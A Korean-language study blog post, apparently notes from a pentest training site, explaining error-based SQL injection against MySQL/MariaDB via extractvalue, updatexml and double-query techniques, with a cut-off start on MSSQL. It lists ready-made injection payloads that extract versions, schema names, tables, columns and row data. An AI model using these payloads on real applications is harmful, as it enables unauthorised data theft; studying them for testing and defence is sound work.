๐ŸŒ†โ”‚Web_Study/๐ŸฅŠโ”‚pentestgym

Error ๊ธฐ๋ฐ˜ SQL ์ธ์ ์…˜

Jastes 2023. 7. 11. 21:35

๐Ÿ’กํ•ด๋‹น ๋‚ด์šฉ์€ pentestqym์˜ ๋‚ด์šฉ์„ ๋‹ค์‹œ ํ•œ ๋ฒˆ ์ •๋ฆฌํ•œ ๋‚ด์šฉ์ด๋ฉฐ,
   ๋ชจ๋“  ์ €์ž‘๊ถŒ์€ ํ•ด๋‹น ์‚ฌ์ดํŠธ์—๊ฒŒ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ค๋ฅ˜๊ธฐ๋ฐ˜ SQLi์— ๋Œ€ํ•˜์—ฌ ๋ฐฐ์›Œ๋ด…์‹œ๋‹ค.


Error based SQLi

 ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋ฅผ ํ™œ์šฉํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ํš๋“ํ•˜๋Š” SQL Injection ๊ธฐ๋ฒ•

 ์ž˜๋ชป๋œ SQL ๋ฌธ๋ฒ•์ด๋‚˜ ์ž๋ฃŒํ˜• ๋ถˆ์ผ์น˜ ๋“ฑ์œผ๋กœ ์ธํ•ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ๋ฐœ์ƒ์‹œํ‚ค๋Š” ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋ฅผ ์ด์šฉํ•˜์—ฌ ๊ณต๊ฒฉ์ž๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ๊ตฌ์กฐ์™€ ์ •๋ณด๋ฅผ ํŒŒ์•…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ๊ฐœ์ธ ์ •๋ณด์™€ ๊ฐ™์€ ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ณต๊ฒฉ์€ App์—์„œ DB ์˜ค๋ฅ˜๋ฅผ ํ‘œ์‹œํ•˜๋Š” ๊ฒฝ์šฐ์— ์ฃผ๋กœ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.


Error-based SQLi ์›๋ฆฌ

 DB๋กœ ์ „๋‹ฌ๋˜๋Š” SQL ์ฟผ๋ฆฌ์˜ ๋ฌธ๋ฒ•์  ์˜ค๋ฅ˜๋ฅผ ํ™œ์šฉํ•˜๋Š” ๊ธฐ๋ฒ•์œผ๋กœ, DB๊ฐ€ ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋ฅผ ๋ฐ˜ํ™˜ํ•˜๊ฑฐ๋‚˜ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์˜ค๋ฅ˜ ์ •๋ณด๋ฅผ ๋…ธ์ถœํ•˜๋Š” ๊ฒฝ์šฐ์— ์ด์šฉ๋ฉ๋‹ˆ๋‹ค. ์•…์˜์ ์ธ ์‚ฌ์šฉ์ž๋Š” ์ด ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋ฅผ ๋ถ„์„ํ•˜์—ฌ DB ์ •๋ณด๋ฅผ ํŒŒ์•…ํ•˜๊ณ  ๊ณต๊ฒฉ์— ํ™œ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์€ DB์— ๋Œ€ํ•œ ์ •๋ณด ํš๋“์„ ๋ชฉ์ ์œผ๋กœ ํ•˜๋ฉฐ, DB ์ข…๋ฅ˜์— ๋”ฐ๋ผ ๋‹ค์–‘ํ•œ ๋ฌธ๋ฒ•๊ณผ SQL ๊ตฌ๋ฌธ, ํ•จ์ˆ˜ ๋“ฑ์„ ํ™œ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

 ์ฆ‰, ์˜ค๋ฅ˜ ๊ธฐ๋ฐ˜ SQL Injection์€ DB๋กœ ์ „๋‹ฌ๋˜๋Š” SQL ์ฟผ๋ฆฌ์˜ ๋ฌธ๋ฒ•์  ์˜ค๋ฅ˜๋ฅผ ์ด์šฉํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ •๋ณด๋ฅผ ํš๋“ํ•˜๋Š” ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์ž…๋‹ˆ๋‹ค.


Error-based SQLi ๊ณต๊ฒฉ ๊ธฐ๋ฒ•

Mysql(MariaDB๋„ ํ•ด๋‹น)

ํ™œ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฒฉ๊ธฐ๋ฒ•์œผ๋กœ XPath์™€ Double Query๊ฐ€ ์žˆ์Œ

XPath

 extractvalue() ํ•จ์ˆ˜[๊ฐ์ฃผ:1]๋ฅผ ํ™œ์šฉํ•œ ๊ธฐ๋ฒ•์œผ๋กœ MySQL ๊ธฐ์ค€ 5.1 ๋ฒ„์ „ ์ด์ƒ์—์„œ๋งŒ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

Syntax
extractvalue(xml_frag, xpath_expr)

 ์œ„์™€ ๊ฐ™์ด extractvalue()๋Š” XML(xml_frag ์ธ์ˆ˜)๊ณผ XPath ํ‘œํ˜„์‹(xpath_expr ์ธ์ˆ˜), ๋‘ ๊ฐœ์˜ ์ธ์ˆ˜๊ฐ€ ํ•„์š”ํ•˜๊ณ , ๋‘ ๊ฐœ์˜ ์ธ์ˆ˜๋ฅผ ํ†ตํ•ด XML์—์„œ XPath ํ‘œํ˜„์‹์— ์ผ์น˜ํ•˜๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ์ถ”์ถœํ•˜์—ฌ ๋ฐ˜ํ™˜ํ•ด์ค๋‹ˆ๋‹ค. ์ด ํ•จ์ˆ˜๋Š” xpath_expr์ด๋ผ๋Š” ๋‘ ๋ฒˆ์งธ ์ธ์ˆ˜์— ์œ ํšจํ•˜์ง€ ์•Š์€ XPath ํ‘œํ˜„์‹์ด ์‚ฌ์šฉ๋œ๋‹ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

ERROR 1105 (HY000): XPATH syntax error: 'xpath_expr ์ธ์ˆ˜์˜ ๊ฐ’'

 

 ์‹ ๊ธฐํ•œ ์ ์€ xpath_expr ์ธ์ˆ˜๋กœ ์ž„์˜์˜ SQL ์ฟผ๋ฆฌ๋ฅผ ์ง€์ •ํ–ˆ์„ ๋•Œ ์ด ์ฟผ๋ฆฌ์˜ ์‹คํ–‰ ๊ฒฐ๊ณผ๊ฐ€ ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€์— ํฌํ•จ๋œ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๋Š” ์ด ์ ์„ ์ด์šฉํ•ด ์˜ค๋ฅ˜๊ธฐ๋ฐ˜ SQLi๋ฅผ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‘ ๋ฒˆ์งธ ์ธ์ˆ˜๊ฐ€ ํ•ญ์ƒ ์œ ํšจํ•˜์ง€ ์•Š์€ XPath ํ‘œํ˜„์‹์ด ๋˜๋„๋ก ํ•˜๊ธฐ ์œ„ํ•ด concat() ํ•จ์ˆ˜[๊ฐ์ฃผ:2]๋ฅผ ์ด์šฉํ•ด ์ฝœ๋ก (:)์„ ์•ž์— ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. 0x3a๋Š” ์ฝœ๋ก ์˜ 16์ง„์ˆ˜ ํ‘œ๊ธฐ๋ฒ•์ž…๋‹ˆ๋‹ค. ์ฒซ ๋ฒˆ์งธ ์ธ์ˆ˜๋Š” ์ž„์˜์˜ ๊ฐ’์„ ์ง€์ •ํ•˜๊ธฐ ์œ„ํ•ด rand() ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. 

 

 ๊ทธ๋ฆฌ๊ณ  ๋งˆ์ง€๋ง‰์œผ๋กœ ํ›„์† ์ฟผ๋ฆฌ๋ฅผ ๋ฌดํšจํ™”ํ•˜๊ธฐ ์œ„ํ•ด ๊ฐ€์žฅ ๋์— ์ฃผ์„ ๋ฌธ์ž(--)์™€ ๊ณต๋ฐฑ ๋ฌธ์ž(์ŠคํŽ˜์ด์Šค)๋ฅผ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. ์ฃผ์„ ๋ฌธ์ž ๋’ค์— ๊ณต๋ฐฑ ๋ฌธ์ž๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์„ ์žŠ์ง€๋งˆ์„ธ์š”. ๊ทธ๋Ÿฌ๋ฉด ์ตœ์ข…์ ์œผ๋กœ๋Š” ์•„๋ž˜์™€ ๊ฐ™์€ ํ˜•ํƒœ๊ฐ€ ๋˜๊ฒ ๊ตฐ์š”. 

AND extractvalue(rand(), concat(0x3a, Excutable-SQL-Query))--

 

 ์ด์ œ ์œ„์˜ ๊ณต๊ฒฉ ์ฟผ๋ฆฌ๋ฅผ ์›๋ž˜์˜ SQL ์ฟผ๋ฆฌ์— ๊ฒฐํ•ฉํ•˜๊ณ  "Excutable-SQL-Query" ๋ถ€๋ถ„๋งŒ ์•„๋ž˜์˜ ๋‚ด์šฉ์„ ์ฐธ๊ณ ํ•ด ์ถ”์ถœํ•˜๊ณ ์ž ํ•˜๋Š” ์ •๋ณด์— ๋งž๋Š” ๊ฒƒ์œผ๋กœ ๋ณ€๊ฒฝํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค


Error-based SQLi Attack Example

๋”๋ณด๊ธฐ
Example SQLi Attack
  • ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋ฒ„์ „ ์ถ”์ถœ
AND extractvalue(rand(),concat(0x3a,version()))--

 

  • ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ช… ์ถ”์ถœ
AND extractvalue(rand(), concat(0x3a, (SELECT concat(0x3a,schema_name) 
    FROM information_schema.schemata LIMIT 0,1)))--

 

  • ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ช… ์ถ”์ถœ (์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ํ†ต์‹  ์ค‘์ธ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค) 
AND extractvalue(rand(),concat(0x3a,database()))--

 

  • ํ…Œ์ด๋ธ”๋ช… ์ถ”์ถœ 
AND extractvalue(rand(),concat(0x3a (SELECT concat(0x3a,table_name) 
	FROM information_schema.TABLES 
	WHERE table_schema='๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ช…' LIMIT 0,1)))--

 

  • ์ปฌ๋Ÿผ๋ช… ์ถ”์ถœ
AND extractvalue(rand(),concat(0x3a, (SELECT concat(0x3a,column_name) 
	FROM information_schema.COLUMNS 
	WHERE TABLE_SCHEMA='๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ช…' AND TABLE_NAME='ํ…Œ์ด๋ธ”๋ช…' LIMIT 0,1)))--

 

  • ๋ฐ์ดํ„ฐ ์ถ”์ถœ
AND extractvalue(rand(),concat(0x3a,(SELECT concat(์ปฌ๋Ÿผ1,0x3a,์ปฌ๋Ÿผ2) 
	FROM ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ช….ํ…Œ์ด๋ธ”๋ช… LIMIT 0,1)))--

 

 ์œ„์˜ extractvalue() ํ•จ์ˆ˜์˜ ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋Š” ๋‹จ์ผ ํ–‰(ํ•œ ์ค„)์œผ๋กœ ๋ฐ˜ํ™˜๋˜๋ฏ€๋กœ LIMIT์„ ์‚ฌ์šฉํ•˜์—ฌ ํ•œ ๋ฒˆ์— ํ•˜๋‚˜์˜ ํ–‰๋งŒ ์ถœ๋ ฅ๋  ์ˆ˜ ์žˆ๋„๋ก ํ•˜์˜€์Šต๋‹ˆ๋‹ค. ๊ณ„์†ํ•ด์„œ ๋‹ค์Œ ํ–‰์˜ ๋ฐ์ดํ„ฐ๋ฅผ ์ถ”์ถœํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ์•„๋ž˜์™€ ๊ฐ™์ด ๋ฐ˜๋ณตํ•˜์—ฌ ์‹คํ–‰ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

...LIMIT 0, 1)))--      (SQL ์ฟผ๋ฆฌ์—์„œ ๋ฐ˜ํ™˜๋œ ๋ ˆ์ฝ”๋“œ์…‹์˜ ์ฒซ๋ฒˆ์งธ ํ–‰ ๋ฐ˜ํ™˜)
...LIMIT 1, 1)))--      (SQL ์ฟผ๋ฆฌ์—์„œ ๋ฐ˜ํ™˜๋œ ๋ ˆ์ฝ”๋“œ์…‹์˜ ๋‘๋ฒˆ์งธ ํ–‰ ๋ฐ˜ํ™˜) 
...LIMIT 2, 1)))--      (SQL ์ฟผ๋ฆฌ์—์„œ ๋ฐ˜ํ™˜๋œ ๋ ˆ์ฝ”๋“œ์…‹์˜ ์„ธ๋ฒˆ์งธ ํ–‰ ๋ฐ˜ํ™˜)
...LIMIT 3, 1)))--      (SQL ์ฟผ๋ฆฌ์—์„œ ๋ฐ˜ํ™˜๋œ ๋ ˆ์ฝ”๋“œ์…‹์˜ ๋„ค๋ฒˆ์งธ ํ–‰ ๋ฐ˜ํ™˜)
... ์ƒ๋žต ...

์œ„์˜ ๋ฐฉ์‹๊ณผ ์œ ์‚ฌํ•œ ๊ธฐ๋ฒ•์œผ๋กœ updatexml() ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ธฐ๋ณธํ˜•์€ ์•„๋ž˜์™€ ๊ฐ™์œผ๋ฉฐ ์ถ”์ถœํ•˜๊ณ ์ž ํ•˜๋Š” ๋ฐ์ดํ„ฐ์— ๋”ฐ๋ผ "์‹คํ–‰ํ• -SQL-์ฟผ๋ฆฌ" ๋ถ€๋ถ„๋งŒ ์œ„์˜ ๋ฐฉ์‹๋Œ€๋กœ ๋ณ€๊ฒฝํ•ด์ฃผ๋ฉด ๋ฉ๋‹ˆ๋‹ค.

AND updatexml(null, ์‹คํ–‰ํ• -SQL-์ฟผ๋ฆฌ, null)-- 

 


Double Query

 GROUP BY๋ฅผ ํ†ตํ•œ ๊ทธ๋ฃน ์ง‘๊ณ„์˜ ๊ธฐ์ค€ ์ปฌ๋Ÿผ์— rand() ํ•จ์ˆ˜๊ฐ€ ์‚ฌ์šฉ๋œ ๊ฒฝ์šฐ ๋ฐœ์ƒํ•˜๋Š” Duplicate entry ์˜ค๋ฅ˜[๊ฐ์ฃผ:3]๋ฅผ ํ™œ์šฉํ•œ ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์ž…๋‹ˆ๋‹ค. ์ด ์˜ค๋ฅ˜๋Š” MySQL์—์„œ ๋ฐœ์ƒํ•˜๋Š” ๋ฒ„๊ทธ๋กœ ๊ฐ„์ฃผ๋˜๋ฉฐ ๊ทธ๋ฃน ๊ธฐ์ค€ ์ปฌ๋Ÿผ์ด ์ค‘๋ณต๋  ๋•Œ ๋ฐœ์ƒํ•˜๋Š” ์˜ค๋ฅ˜์ž…๋‹ˆ๋‹ค. ํŠน์ดํ•˜๊ฒŒ๋„ ํ–‰์ด 3๊ฐœ ์ด์ƒ ์กด์žฌํ•˜๋Š” ํ…Œ์ด๋ธ”์—์„œ FLOOR(rand(0)*2)๋ฅผ ๊ธฐ์ค€ ์ปฌ๋Ÿผ์œผ๋กœ ํ•˜๋Š” ๊ฒฝ์šฐ์—๋Š” rand() ํ•จ์ˆ˜๊ฐ€ ๊ทธ๋ฃน ์ง‘๊ณ„์˜ ๊ธฐ์ค€์œผ๋กœ ์‚ฌ์šฉํ•˜๊ธฐ์—๋Š” ๊ฐ€๋ณ€์ ์ด๊ณ  ์•ˆ์ •์ ์ด์ง€ ์•Š์•„์„œ์ธ์ง€ ์˜ค๋ฅ˜๋ฅผ ๋ฑ‰์–ด๋ƒ…๋‹ˆ๋‹ค. ์ด ๊ธฐ๋ฒ•์„ ์ด์šฉํ•˜์—ฌ SQL Injection ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

SELECT FLOOR(rand(0)*2) 
FROM some-table;

 ์ด ์ฟผ๋ฆฌ๋ฅผ ํ–‰์˜ ์ˆ˜๊ฐ€ ์ถฉ๋ถ„ํžˆ ๋งŽ์€ ์ž„์˜์˜ ํ…Œ์ด๋ธ”์—์„œ ์‹คํ–‰ํ•œ๋‹ค๋ฉด ์•„๋ž˜์™€ ๊ฐ™์ด ํ…Œ์ด๋ธ” ํ–‰์˜ ์ˆ˜๋งŒํผ 0 ๋˜๋Š” 1์˜ ๊ฐ’์ด ๋ฐ˜ํ™˜๋ฉ๋‹ˆ๋‹ค.

 

floor(rand(0)*2)
================
0 
1
1    <--- Duplicate entry ์˜ค๋ฅ˜ ์œ ๋ฐœ
0
1
1
0
0
1
1
1
0
1
...

 ์ด์ œ ์•„๋ž˜์™€ ๊ฐ™์ด FLOOR(rand(0)*2)๋ฅผ ๊ทธ๋ฃน ์ง‘๊ณ„์˜ ๊ธฐ์ค€ ์ปฌ๋Ÿผ์œผ๋กœ ์„ค์ •ํ•˜๊ณ  ๊ทธ๋ฃน๋ณ„ ํ–‰์˜ ์ˆ˜๋ฅผ ์ง‘๊ณ„ํ•˜๊ธฐ ์œ„ํ•œ count(*) ์ง‘๊ณ„ ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ฟผ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•˜๋ฉด MySQL์˜ ๋ฒ„๊ทธ๋กœ ์ธํ•ด ์œ„์˜ ์„ธ๋ฒˆ์งธ ํ–‰์ด ๋‘๋ฒˆ์งธ ํ–‰๊ณผ ๊ฐ’์ด ์ค‘๋ณต๋˜๋ฏ€๋กœ Duplicate entry ์˜ค๋ฅ˜๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. 

SELECT FLOOR(rand(0)*2), COUNT(*) 
FROM some-table
GROUP BY FLOOR(rand(0)*2) ;

 

๋ณด์‹œ๋‹ค์‹œํ”ผ ์˜ค๋ฅ˜์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

SQL Error [1062] [23000]: (conn:113718) Duplicate entry '1' for key 'group_key'

 

 ์ด ์˜ค๋ฅ˜๋ฅผ ์ด์šฉํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์œ„์˜ ์„ค๋ช…๋Œ€๋กœ, `concat()` ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ "์‹คํ–‰ํ• -SQL-์ฟผ๋ฆฌ"์™€ `FLOOR(rand(0)*2)`๋ฅผ ๊ฒฐํ•ฉํ•˜๊ณ , ์ด๋ฅผ `x`๋ผ๋Š” ๋ณ„์นญ์œผ๋กœ ์ ์šฉํ•˜๋ฉด ์ฟผ๋ฆฌ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค.

SELECT concat("์‹คํ–‰ํ• -SQL-์ฟผ๋ฆฌ", FLOOR(rand(0)*2)) AS x FROM ํ…Œ์ด๋ธ”๋ช…;


  ์œ„์˜ ์ฟผ๋ฆฌ๋Š” "์‹คํ–‰ํ• -SQL-์ฟผ๋ฆฌ"์™€ ๋ฌด์ž‘์œ„๋กœ ์ƒ์„ฑ๋œ 0 ๋˜๋Š” 1์˜ ๊ฐ’์„ ๊ฒฐํ•ฉํ•˜์—ฌ `x`๋ผ๋Š” ๋ณ„์นญ์œผ๋กœ ์ถœ๋ ฅํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ์ฟผ๋ฆฌ ์‹คํ–‰ ์‹œ ๊ทธ๋ฃน ๊ธฐ์ค€ ์ปฌ๋Ÿผ์˜ Duplicate entry ์˜ค๋ฅ˜๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด ์˜ค๋ฅ˜๋ฅผ ํ™œ์šฉํ•œ ๊ฒฐ๊ณผ๊ฐ’์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด์ œ ์˜ค๋ฅ˜๋ฅผ ํ‰๊ฐ€ํ•˜๊ณ  ๊ฒฐ๊ณผ๋ฅผ ๋ช…ํ™•ํžˆ ๋„์ถœํ•˜๊ธฐ ์œ„ํ•ด ์„œ๋ธŒ์ฟผ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

SELECT 1
FROM (
	SELECT concat(์‹คํ–‰ํ• -SQL-์ฟผ๋ฆฌ, FLOOR(rand(0)*2))x,COUNT(*) 
	FROM some-table 
	GROUP BY x
     )a
)

 ์œ„์—์„œ ์‚ฌ์šฉ๋œ some-table์€ 3ํ–‰ ์ด์ƒ์„ ๊ฐ€์ง„ ์‹œ์Šคํ…œ ํ…Œ์ด๋ธ”์ธ information_schema.TABLES๋กœ ๋ณ€๊ฒฝํ•˜๊ณ , ์—ญ์‹œ ์ œ์ผ ๋งˆ์ง€๋ง‰์—๋Š” ์ฃผ์„ ๋ฌธ์ž(--)์™€ ๊ณต๋ฐฑ ๋ฌธ์ž(์ŠคํŽ˜์ด์Šค)๋ฅผ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์›๋ž˜์˜ SQL ์ฟผ๋ฆฌ์— ์ฃผ์ž…์‹œํ‚ค๊ธฐ ์œ„ํ•ด ์•ž๋ถ€๋ถ„์— AND ์—ฐ์‚ฐ์‚ฌ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์ตœ์ข…์ ์œผ๋กœ๋Š” ๋‹ค์Œ์˜ ํ˜•ํƒœ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค. 

AND (SELECT 1 FROM(SELECT COUNT(*), concat(์‹คํ–‰ํ• -SQL-์ฟผ๋ฆฌ, FLOOR(rand(0)*2))x 
	FROM information_schema.TABLES GROUP BY x)a)--

 ์ด์ œ XPath ๊ธฐ๋ฒ•๊ณผ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ์•„๋ž˜ ๋‚ด์šฉ์„ ์ฐธ๊ณ ํ•˜์—ฌ "์‹คํ–‰ํ• -SQL-์ฟผ๋ฆฌ" ๋ถ€๋ถ„๋งŒ ๋ณ€๊ฒฝํ•˜๋ฉด ์›ํ•˜๋Š” ์ •๋ณด๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ "์‹คํ–‰ํ• -SQL-์ฟผ๋ฆฌ" ๋ถ€๋ถ„์˜ LIMIT์˜ ์ฒซ๋ฒˆ์งธ ๊ฐ’์„ 1์”ฉ ์ˆœ์ฐจ์ ์œผ๋กœ ์ฆ๊ฐ€์‹œํ‚ค๋ฉฐ ๋‹ค์Œ ํ–‰์˜ ์ž๋ฃŒ๋ฅผ ์ถ”์ถœํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค. 


Double Query SQLi Sample

๋”๋ณด๊ธฐ

 

  • ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋ฒ„์ „ ์ถ”์ถœ
AND (SELECT 1 FROM (SELECT COUNT(*), concat(version(), FLOOR(rand(0)*2))x 
	FROM information_schema.TABLES GROUP BY x) a)--
  • ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ช… ์ถ”์ถœ
AND (SELECT 1 FROM (SELECT COUNT(*),concat(
		(SELECT schema_name FROM information_schema.schemata LIMIT 0,1), FLOOR(rand(0)*2))a 
	FROM information_schema.schemata GROUP BY a LIMIT 0,1) b)--
  • ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ช… ์ถ”์ถœ (App๊ณผ ํ†ต์‹  ์ค‘์ธ DB) 
AND (SELECT 1 FROM (SELECT COUNT(*),concat(database(),FLOOR(rand(0)*2))x 
	FROM information_schema.TABLES GROUP BY x) a)--

 

  • ํ…Œ์ด๋ธ”๋ช… ์ถ”์ถœ
AND (SELECT 1 FROM (SELECT COUNT(*),concat(
		(SELECT TABLE_NAME FROM information_schema.TABLES 
		WHERE table_schema='๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ช…' LIMIT 0,1), FLOOR(rand(0)*2))a 
	FROM information_schema.TABLES GROUP BY a LIMIT 0,1) b)--

 

  • ์ปฌ๋Ÿผ๋ช… ์ถ”์ถœ
AND (SELECT 1 FROM (SELECT COUNT(*),concat(
		(SELECT column_name FROM information_schema.COLUMNS 
		WHERE TABLE_SCHEMA='DB๋ช…' AND TABLE_NAME='ํ…Œ์ด๋ธ”๋ช…' LIMIT 0,1), FLOOR(rand(0)*2))a 
    FROM information_schema.COLUMNS GROUP BY a LIMIT 0,1) b)--

 

  • ๋ฐ์ดํ„ฐ ์ถ”์ถœ
AND(SELECT 1 FROM(SELECT COUNT(*),concat(
		(SELECT CONCAT_WS(0x3a,์ปฌ๋Ÿผ1,์ปฌ๋Ÿผ2,..., ์ปฌ๋ŸผN) 
		FROM DB๋ช….ํ…Œ์ด๋ธ”๋ช… LIMIT 0,1),FLOOR(rand(0)*2))x 
    FROM information_schema.TABLES GROUP BY x) a)--

MSsql

Group by์™€ Having์„ ํ™œ์šฉํ•œ ๊ณต๊ฒฉ๊ธฐ๋ฒ•

 ๋จผ์ € Group by์™€ Having์— ๋Œ€ํ•˜์—ฌ ์•Œ์•„๋ด…์‹œ๋‹ค.

Group by์™€ Having์˜ ์˜๋ฏธ
Group by
: ๋Œ€๊ฐœ ๊ฐ ๊ทธ๋ฃน์—์„œ ํ•˜๋‚˜ ์ด์ƒ์˜ ์ง‘๊ณ„๋ฅผ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ๋ฅผ ํ–‰ ๊ทธ๋ฃน์œผ๋กœ ๋ถ„ํ• ํ•˜๋Š” SELECT ๋ฌธ์˜ ์ ˆ
- SELECT ๋ฌธ์€ ๊ทธ๋ฃน๋งˆ๋‹ค ํ•˜๋‚˜์˜ ํ–‰์„ ๋ฐ˜ํ™˜

Having
: ๊ทธ๋ฃน ๋˜๋Š” ์ง‘๊ณ„์— ๋Œ€ํ•œ ๊ฒ€์ƒ‰ ์กฐ๊ฑด์„ ์ง€์ •
- HAVING์€ SELECT ๋ฌธํ•˜๊ณ ๋งŒ ์‚ฌ์šฉ
- HAVING์€ ์ผ๋ฐ˜์ ์œผ๋กœ GROUP BY ์ ˆ์— ์‚ฌ์šฉ
- ์‚ฌ์šฉํ•˜์ง€ ์•Š์„ ๊ฒฝ์šฐ ์•”์‹œ์  ๋‹จ์ผ ์ง‘๊ณ„ ๊ทธ๋ฃน ์กด์žฌ

 ์ฆ‰, GROUP BY๋ฅผ ํ†ตํ•ด ๊ธฐ์ค€์ด ๋˜๋Š” ์ปฌ๋Ÿผ์„ ๊ทธ๋ฃน์œผ๋กœ ๋ฌถ์–ด ๊ทธ๋ฃน ๋ณ„ ์ง‘๊ณ„๋ฅผ ์ˆ˜ํ–‰ํ•˜๊ณ  ์ด ๋•Œ ์–ด๋–ค ํŠน์ •ํ•œ ์กฐ๊ฑด์„ ์ฃผ๊ธฐ ์œ„ํ•ด HAVING์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ GROUP BY์™€ HAVING์„ ์‚ฌ์šฉํ•  ๊ฒฝ์šฐ ์•„๋ž˜์™€ ๊ฐ™์ด ์ง€์ผœ์•ผ ํ•  ๊ทœ์น™์ด ์žˆ์Šต๋‹ˆ๋‹ค.

๊ทœ์น™
  1. SELECT ์ ˆ์— ์‚ฌ์šฉ๋œ ์ง‘๊ณ„ ํ•จ์ˆ˜ ์ œ์™ธํ•œ ์ผ๋ฐ˜ ์ปฌ๋Ÿผ์€ GROUP BY ์ ˆ์— ๊ธฐ์ค€ ์ปฌ๋Ÿผ์œผ๋กœ ํฌํ•จ๋จ
  2. HAVING์€ ๋ฐ˜๋“œ์‹œ GROUP BY์™€ ํ•จ๊ป˜ ์‚ฌ์šฉ๋˜์•ผํ•จ (SELECT ์ ˆ์— ์ง‘๊ณ„ ํ•จ์ˆ˜๋งŒ ์žˆ๋Š” ๊ฒฝ์šฐ ์ œ์™ธ)

 ๋‹ค์Œ์€ ํ•ด๋‹น ์กฐ๊ฑด๋“ค์˜ ์˜ˆ์‹œ ์ฟผ๋ฆฌ๋กœ์จ ์„ค๋ช…๋“œ๋ฆฌ๊ฒ ์Šต๋‹ˆ๋‹ค.

[1] SELECT staff_no, name, SUM(salary_amt)
[2] FROM salary
[3] WHERE department = '22'
[4] GROUP BY staff_no, name
